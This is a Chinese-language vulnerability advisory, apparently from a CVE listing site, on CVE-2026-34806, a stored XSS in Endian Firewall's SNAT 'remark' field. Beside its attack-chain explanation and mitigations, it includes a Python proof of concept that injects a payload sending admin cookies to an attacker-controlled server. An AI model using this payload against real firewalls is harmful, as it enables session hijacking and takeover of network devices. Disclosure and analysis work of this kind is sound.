IPBUF安全漏洞报告
English
CVE-2026-34806 CVSS 6.4 中危

CVE-2026-34806 Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34806
漏洞类型
存储型XSS
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

存储型XSSEndian FirewallWeb安全CGI漏洞跨站脚本

漏洞概述

Endian Firewall 3.3.25及之前版本存在存储型跨站脚本(XSS)漏洞。该漏洞位于`/cgi-bin/snat.cgi`接口的`remark`参数,由于缺乏对用户输入的有效过滤,经过身份验证的攻击者可注入任意恶意JavaScript代码。一旦其他管理员或用户访问受影响页面,恶意脚本将自动执行,进而窃取会话凭证或执行恶意操作。

技术细节

该漏洞属于存储型跨站脚本攻击(Stored XSS),具体影响Endian Firewall的SNAT网络地址转换配置功能。其技术根源在于后端CGI程序(`/cgi-bin/snat.cgi`)在处理用户提交的规则配置时,未对`remark`(备注)字段进行充分的输入清洗和输出转义。攻击者需经过身份认证(PR:L),利用该参数注入恶意的HTML或JavaScript代码。由于漏洞具有“作用域改变”特性(S:C),攻击代码不仅限于当前上下文。当管理员或其他用户访问包含该备注的页面时,载荷将在其浏览器环境中触发。攻击者可借此窃取管理员Session ID、修改防火墙规则或进行钓鱼攻击,从而完全控制防火墙系统。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者获取Endian防火墙的低权限账户凭据。
STEP 2
步骤2:构造恶意请求
攻击者向`/cgi-bin/snat.cgi`发送POST请求,在`remark`参数中注入包含JavaScript的恶意代码。
STEP 3
步骤3:存储载荷
后端服务器将未经过滤的恶意数据存储在数据库或配置文件中。
STEP 4
步骤4:触发漏洞
当管理员或高权限用户查看包含该备注的SNAT规则页面时,浏览器解析并执行恶意脚本。
STEP 5
步骤5:执行攻击
恶意脚本窃取管理员的Session ID或Cookie,发送给攻击者,导致会话被劫持。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://firewall-ip/cgi-bin/snat.cgi" login_url = "http://firewall-ip/cgi-bin/login.cgi" # Attacker credentials username = "low_priv_user" password = "password" # Malicious payload to capture cookies xss_payload = "<img src=x onerror=fetch('http://attacker-controlled-server/?c='+document.cookie);>" # Exploit function def exploit(): session = requests.Session() # Step 1: Login login_data = {"username": username, "password": password} session.post(login_url, data=login_data) # Step 2: Inject payload via the vulnerable parameter # Constructing a typical POST request for SNAT rule creation exploit_data = { "action": "create", "src": "192.168.1.0/24", "remark": xss_payload # Vulnerable field } try: response = session.post(target_url, data=exploit_data) if response.status_code == 200: print("[+] Payload injected successfully into the remark field.") print("[+] The XSS will trigger when an admin views the SNAT rules.") else: print("[-] Injection failed.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": exploit()

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
在无法立即升级的情况下,建议仅允许可信的内部IP地址访问管理控制台。管理员应定期审查SNAT规则列表,留意备注字段中的异常字符或脚本标签,并尽量避免在浏览器中保存长期有效的登录会话。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表